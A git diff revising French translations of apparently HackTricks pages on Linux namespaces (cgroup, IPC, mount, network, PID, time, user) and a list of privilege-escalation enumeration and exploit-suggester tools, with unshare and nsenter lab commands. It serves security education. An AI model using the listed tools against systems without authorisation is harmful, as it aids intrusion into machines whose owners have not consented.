-## Protections de Sécurité du Noyau
+## Protections de sécurité du noyau
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
@@ -1397,14 +1397,14 @@ cisco-vmanage.md
**LinEnum** : [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy** : [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
-**Vérification Privesc Unix :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
-**Vérificateur de privilèges Linux :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
+**Unix Privesc Check :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
+**Linux Priv Checker :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot :** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop :** Énumérer les vulnérabilités du noyau dans linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit :** _**multi/recon/local_exploit_suggester**_\
-**Suggesteur d'Exploitation Linux :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
+**Linux Exploit Suggester :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (accès physique) :** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
-**Recueil de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
+**Recopilation de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## Références
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index ab68dd90f..ccdbc1ecd 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -12,7 +12,7 @@ Bien que les cgroup namespaces ne soient pas un type de namespace séparé comme
1. Lorsqu'un nouveau cgroup namespace est créé, **il commence avec une vue de la hiérarchie cgroup basée sur le cgroup du processus créateur**. Cela signifie que les processus s'exécutant dans le nouveau cgroup namespace ne verront qu'un sous-ensemble de l'ensemble de la hiérarchie cgroup, limité à l'arborescence cgroup enracinée au cgroup du processus créateur.
2. Les processus au sein d'un cgroup namespace **verront leur propre cgroup comme la racine de la hiérarchie**. Cela signifie que, du point de vue des processus à l'intérieur du namespace, leur propre cgroup apparaît comme la racine, et ils ne peuvent pas voir ou accéder aux cgroups en dehors de leur propre sous-arborescence.
-3. Les cgroup namespaces ne fournissent pas directement l'isolation des ressources ; **ils ne fournissent que l'isolation de la vue de la hiérarchie cgroup**. **Le contrôle et l'isolation des ressources sont toujours appliqués par les** sous-systèmes cgroup (par exemple, cpu, mémoire, etc.) eux-mêmes.
+3. Les cgroup namespaces ne fournissent pas directement l'isolation des ressources ; **ils ne fournissent que l'isolation de la vue de la hiérarchie cgroup**. **Le contrôle et l'isolation des ressources sont toujours appliqués par les sous-systèmes cgroup** (par exemple, cpu, mémoire, etc.) eux-mêmes.
Pour plus d'informations sur les CGroups, consultez :
@@ -28,13 +28,13 @@ Pour plus d'informations sur les CGroups, consultez :
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
@@ -58,7 +58,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@@ -69,7 +69,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep
```
-### Entrez dans un espace de noms CGroup
+### Entrer dans un espace de noms CGroup
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index 65577822b..200a21896 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -4,17 +4,17 @@
## Informations de base
-Un espace de noms IPC (Inter-Process Communication) est une fonctionnalité du noyau Linux qui fournit **l'isolement** des objets IPC de System V, tels que les files de messages, les segments de mémoire partagée et les sémaphores. Cet isolement garantit que les processus dans **différents espaces de noms IPC ne peuvent pas accéder directement ou modifier les objets IPC des autres**, offrant une couche supplémentaire de sécurité et de confidentialité entre les groupes de processus.
+Un namespace IPC (Inter-Process Communication) est une fonctionnalité du noyau Linux qui fournit **l'isolation** des objets IPC de System V, tels que les files de messages, les segments de mémoire partagée et les sémaphores. Cette isolation garantit que les processus dans **différents namespaces IPC ne peuvent pas accéder directement ou modifier les objets IPC des autres**, offrant une couche supplémentaire de sécurité et de confidentialité entre les groupes de processus.
### Comment ça fonctionne :
-1. Lorsqu'un nouvel espace de noms IPC est créé, il commence avec un **ensemble complètement isolé d'objets IPC de System V**. Cela signifie que les processus s'exécutant dans le nouvel espace de noms IPC ne peuvent pas accéder ou interférer avec les objets IPC dans d'autres espaces de noms ou le système hôte par défaut.
-2. Les objets IPC créés au sein d'un espace de noms ne sont visibles et **accessibles que par les processus de cet espace de noms**. Chaque objet IPC est identifié par une clé unique au sein de son espace de noms. Bien que la clé puisse être identique dans différents espaces de noms, les objets eux-mêmes sont isolés et ne peuvent pas être accédés à travers les espaces de noms.
-3. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWIPC`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser les objets IPC associés à cet espace de noms.
+1. Lorsqu'un nouveau namespace IPC est créé, il commence avec un **ensemble complètement isolé d'objets IPC de System V**. Cela signifie que les processus s'exécutant dans le nouveau namespace IPC ne peuvent pas accéder ou interférer avec les objets IPC dans d'autres namespaces ou le système hôte par défaut.
+2. Les objets IPC créés dans un namespace ne sont visibles et **accessibles que par les processus de ce namespace**. Chaque objet IPC est identifié par une clé unique au sein de son namespace. Bien que la clé puisse être identique dans différents namespaces, les objets eux-mêmes sont isolés et ne peuvent pas être accédés à travers les namespaces.
+3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()` ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWIPC`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser les objets IPC associés à ce namespace.
## Laboratoire :
-### Créer différents espaces de noms
+### Créer différents Namespaces
#### CLI
```bash
@@ -26,12 +26,12 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
- Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font.
-- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'namespace PID d'origine.
+- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans le namespace PID d'origine.
- Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace.
2. **Conséquence** :
@@ -50,7 +50,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index d67c9a87b..3c0352151 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -2,22 +2,22 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Informations de base
+## Basic Information
Un mount namespace est une fonctionnalité du noyau Linux qui fournit une isolation des points de montage du système de fichiers vus par un groupe de processus. Chaque mount namespace a son propre ensemble de points de montage du système de fichiers, et **les modifications des points de montage dans un namespace n'affectent pas les autres namespaces**. Cela signifie que les processus s'exécutant dans différents mount namespaces peuvent avoir des vues différentes de la hiérarchie du système de fichiers.
Les mount namespaces sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre système de fichiers et sa propre configuration, isolés des autres conteneurs et du système hôte.
-### Comment ça fonctionne :
+### How it works:
1. Lorsqu'un nouveau mount namespace est créé, il est initialisé avec une **copie des points de montage de son namespace parent**. Cela signifie qu'à la création, le nouveau namespace partage la même vue du système de fichiers que son parent. Cependant, toute modification ultérieure des points de montage au sein du namespace n'affectera pas le parent ou d'autres namespaces.
-2. Lorsqu'un processus modifie un point de montage dans son namespace, comme monter ou démonter un système de fichiers, le **changement est local à ce namespace** et n'affecte pas les autres namespaces. Cela permet à chaque namespace d'avoir sa propre hiérarchie de système de fichiers indépendante.
+2. Lorsqu'un processus modifie un point de montage dans son namespace, comme monter ou démonter un système de fichiers, la **modification est locale à ce namespace** et n'affecte pas les autres namespaces. Cela permet à chaque namespace d'avoir sa propre hiérarchie de système de fichiers indépendante.
3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()`, ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNS`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser les points de montage associés à ce namespace.
4. **Les descripteurs de fichiers et les inodes sont partagés entre les namespaces**, ce qui signifie que si un processus dans un namespace a un descripteur de fichier ouvert pointant vers un fichier, il peut **transmettre ce descripteur de fichier** à un processus dans un autre namespace, et **les deux processus accéderont au même fichier**. Cependant, le chemin du fichier peut ne pas être le même dans les deux namespaces en raison des différences dans les points de montage.
-## Lab :
+## Lab:
-### Créer différents Namespaces
+### Create different Namespaces
#### CLI
```bash
@@ -29,7 +29,7 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
@@ -42,7 +42,7 @@ Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée e
- La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire".
3. **Solution** :
-- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID.
+- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de créer un nouveau processus après avoir créé le nouveau namespace PID.
- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID.
En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
@@ -53,12 +53,12 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
-### Trouver tous les espaces de montage
+### Trouver tous les espaces de noms de montage
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 9f78672e0..9750acc22 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -8,8 +8,8 @@ Un espace de noms réseau est une fonctionnalité du noyau Linux qui fournit une
### Comment ça fonctionne :
-1. Lorsqu'un nouvel espace de noms réseau est créé, il commence avec une **pile réseau complètement isolée**, sans **interfaces réseau** sauf pour l'interface de boucle (lo). Cela signifie que les processus s'exécutant dans le nouvel espace de noms réseau ne peuvent pas communiquer avec des processus dans d'autres espaces de noms ou le système hôte par défaut.
-2. **Interfaces réseau virtuelles**, telles que les paires veth, peuvent être créées et déplacées entre les espaces de noms réseau. Cela permet d'établir une connectivité réseau entre les espaces de noms ou entre un espace de noms et le système hôte. Par exemple, une extrémité d'une paire veth peut être placée dans l'espace de noms réseau d'un conteneur, et l'autre extrémité peut être connectée à un **pont** ou une autre interface réseau dans l'espace de noms hôte, fournissant une connectivité réseau au conteneur.
+1. Lorsqu'un nouvel espace de noms réseau est créé, il commence avec une **pile réseau complètement isolée**, avec **aucune interface réseau** sauf pour l'interface de boucle (lo). Cela signifie que les processus s'exécutant dans le nouvel espace de noms réseau ne peuvent pas communiquer avec des processus dans d'autres espaces de noms ou le système hôte par défaut.
+2. **Des interfaces réseau virtuelles**, telles que des paires veth, peuvent être créées et déplacées entre les espaces de noms réseau. Cela permet d'établir une connectivité réseau entre les espaces de noms ou entre un espace de noms et le système hôte. Par exemple, une extrémité d'une paire veth peut être placée dans l'espace de noms réseau d'un conteneur, et l'autre extrémité peut être connectée à un **pont** ou une autre interface réseau dans l'espace de noms hôte, fournissant une connectivité réseau au conteneur.
3. Les interfaces réseau au sein d'un espace de noms peuvent avoir leurs **propres adresses IP, tables de routage et règles de pare-feu**, indépendamment des autres espaces de noms. Cela permet aux processus dans différents espaces de noms réseau d'avoir différentes configurations réseau et de fonctionner comme s'ils s'exécutaient sur des systèmes réseau séparés.
4. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()`, ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNET`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser la configuration réseau et les interfaces associées à cet espace de noms.
@@ -22,13 +22,13 @@ Un espace de noms réseau est une fonctionnalité du noyau Linux qui fournit une
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
@@ -53,7 +53,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index c7a484270..994d3580e 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -8,12 +8,12 @@ Le namespace PID (Process IDentifier) est une fonctionnalité du noyau Linux qui
Lorsqu'un nouveau namespace PID est créé, le premier processus dans ce namespace se voit attribuer le PID 1. Ce processus devient le processus "init" du nouveau namespace et est responsable de la gestion des autres processus au sein du namespace. Chaque processus subséquent créé dans le namespace aura un PID unique dans ce namespace, et ces PIDs seront indépendants des PIDs dans d'autres namespaces.
-Du point de vue d'un processus au sein d'un namespace PID, il ne peut voir que les autres processus dans le même namespace. Il n'est pas conscient des processus dans d'autres namespaces, et il ne peut pas interagir avec eux en utilisant des outils de gestion de processus traditionnels (par exemple, `kill`, `wait`, etc.). Cela fournit un niveau d'isolation qui aide à empêcher les processus de s'interférer les uns avec les autres.
+Du point de vue d'un processus au sein d'un namespace PID, il ne peut voir que les autres processus dans le même namespace. Il n'est pas conscient des processus dans d'autres namespaces et ne peut pas interagir avec eux en utilisant des outils de gestion de processus traditionnels (par exemple, `kill`, `wait`, etc.). Cela fournit un niveau d'isolation qui aide à prévenir les interférences entre les processus.
### Comment ça fonctionne :
1. Lorsqu'un nouveau processus est créé (par exemple, en utilisant l'appel système `clone()`), le processus peut être assigné à un nouveau namespace PID ou à un namespace existant. **Si un nouveau namespace est créé, le processus devient le processus "init" de ce namespace**.
-2. Le **noyau** maintient une **correspondance entre les PIDs dans le nouveau namespace et les PIDs correspondants** dans le namespace parent (c'est-à-dire, le namespace à partir duquel le nouveau namespace a été créé). Cette correspondance **permet au noyau de traduire les PIDs lorsque cela est nécessaire**, par exemple lors de l'envoi de signaux entre des processus dans différents namespaces.
+2. Le **noyau** maintient une **correspondance entre les PIDs dans le nouveau namespace et les PIDs correspondants** dans le namespace parent (c'est-à-dire le namespace à partir duquel le nouveau namespace a été créé). Cette correspondance **permet au noyau de traduire les PIDs lorsque cela est nécessaire**, par exemple lors de l'envoi de signaux entre des processus dans différents namespaces.
3. **Les processus au sein d'un namespace PID ne peuvent voir et interagir qu'avec d'autres processus dans le même namespace**. Ils ne sont pas conscients des processus dans d'autres namespaces, et leurs PIDs sont uniques dans leur namespace.
4. Lorsqu'un **namespace PID est détruit** (par exemple, lorsque le processus "init" du namespace se termine), **tous les processus au sein de ce namespace sont terminés**. Cela garantit que toutes les ressources associées au namespace sont correctement nettoyées.
@@ -29,7 +29,7 @@ sudo unshare -pf --mount-proc /bin/bash
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux espaces de noms PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux espaces de noms PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
@@ -42,10 +42,10 @@ Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée e
- La sortie de PID 1 dans un nouvel espace de noms entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire".
3. **Solution** :
-- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouvel espace de noms PID.
+- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de créer un nouveau processus après avoir créé le nouvel espace de noms PID.
- L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouvel espace de noms. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouvel espace de noms, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID.
-En s'assurant que `unshare` s'exécute avec le drapeau `-f`, le nouvel espace de noms PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
+En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouvel espace de noms PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
@@ -55,7 +55,7 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index b27cee0ca..b5c73d7cc 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -1,26 +1,26 @@
-# Espace de Temps
+# Time Namespace
{{#include ../../../../banners/hacktricks-training.md}}
-## Informations de Base
+## Informations de base
-L'espace de temps dans Linux permet des décalages par espace de noms pour les horloges monotoniques et de démarrage du système. Il est couramment utilisé dans les conteneurs Linux pour changer la date/heure à l'intérieur d'un conteneur et ajuster les horloges après la restauration d'un point de contrôle ou d'un instantané.
+Le namespace de temps dans Linux permet des décalages par namespace aux horloges monotoniques et de démarrage du système. Il est couramment utilisé dans les conteneurs Linux pour changer la date/heure à l'intérieur d'un conteneur et ajuster les horloges après la restauration d'un point de contrôle ou d'un instantané.
## Laboratoire :
-### Créer différents Espaces de Noms
+### Créer différents Namespaces
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
Erreur : bash : fork : Impossible d'allouer de la mémoire
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
1. **Explication du problème** :
@@ -44,7 +44,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
@@ -55,7 +55,7 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep
```
-### Entrez dans un espace de noms temporel
+### Entrer dans un espace de noms temporel
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index 67affee9c..c34c3d780 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -1,35 +1,35 @@
-# Espace Utilisateur
+# User Namespace
{{#include ../../../../banners/hacktricks-training.md}}
-## Informations de Base
+## Basic Information
-Un espace utilisateur est une fonctionnalité du noyau Linux qui **fournit une isolation des mappages d'ID utilisateur et de groupe**, permettant à chaque espace utilisateur d'avoir son **propre ensemble d'ID utilisateur et de groupe**. Cette isolation permet aux processus s'exécutant dans différents espaces utilisateurs d'**avoir des privilèges et une propriété différents**, même s'ils partagent les mêmes ID utilisateur et de groupe numériquement.
+Un espace de noms utilisateur est une fonctionnalité du noyau Linux qui **fournit une isolation des mappages d'ID utilisateur et de groupe**, permettant à chaque espace de noms utilisateur d'avoir son **propre ensemble d'ID utilisateur et de groupe**. Cette isolation permet aux processus s'exécutant dans différents espaces de noms utilisateurs d'**avoir des privilèges et une propriété différents**, même s'ils partagent les mêmes ID utilisateur et de groupe numériquement.
-Les espaces utilisateurs sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre ensemble indépendant d'ID utilisateur et de groupe, permettant une meilleure sécurité et isolation entre les conteneurs et le système hôte.
+Les espaces de noms utilisateurs sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre ensemble indépendant d'ID utilisateur et de groupe, permettant une meilleure sécurité et isolation entre les conteneurs et le système hôte.
-### Comment ça fonctionne :
+### How it works:
-1. Lorsqu'un nouvel espace utilisateur est créé, il **commence avec un ensemble vide de mappages d'ID utilisateur et de groupe**. Cela signifie que tout processus s'exécutant dans le nouvel espace utilisateur **n'a initialement aucun privilège en dehors de l'espace**.
-2. Des mappages d'ID peuvent être établis entre les ID utilisateur et de groupe dans le nouvel espace et ceux dans l'espace parent (ou hôte). Cela **permet aux processus dans le nouvel espace d'avoir des privilèges et une propriété correspondant aux ID utilisateur et de groupe dans l'espace parent**. Cependant, les mappages d'ID peuvent être restreints à des plages et sous-ensembles spécifiques d'ID, permettant un contrôle précis sur les privilèges accordés aux processus dans le nouvel espace.
-3. Dans un espace utilisateur, **les processus peuvent avoir des privilèges root complets (UID 0) pour les opérations à l'intérieur de l'espace**, tout en ayant des privilèges limités en dehors de l'espace. Cela permet **aux conteneurs de fonctionner avec des capacités similaires à celles de root dans leur propre espace sans avoir de privilèges root complets sur le système hôte**.
-4. Les processus peuvent se déplacer entre les espaces en utilisant l'appel système `setns()` ou créer de nouveaux espaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWUSER`. Lorsqu'un processus se déplace vers un nouvel espace ou en crée un, il commencera à utiliser les mappages d'ID utilisateur et de groupe associés à cet espace.
+1. Lorsqu'un nouvel espace de noms utilisateur est créé, il **commence avec un ensemble vide de mappages d'ID utilisateur et de groupe**. Cela signifie que tout processus s'exécutant dans le nouvel espace de noms utilisateur **n'a initialement aucun privilège en dehors de l'espace de noms**.
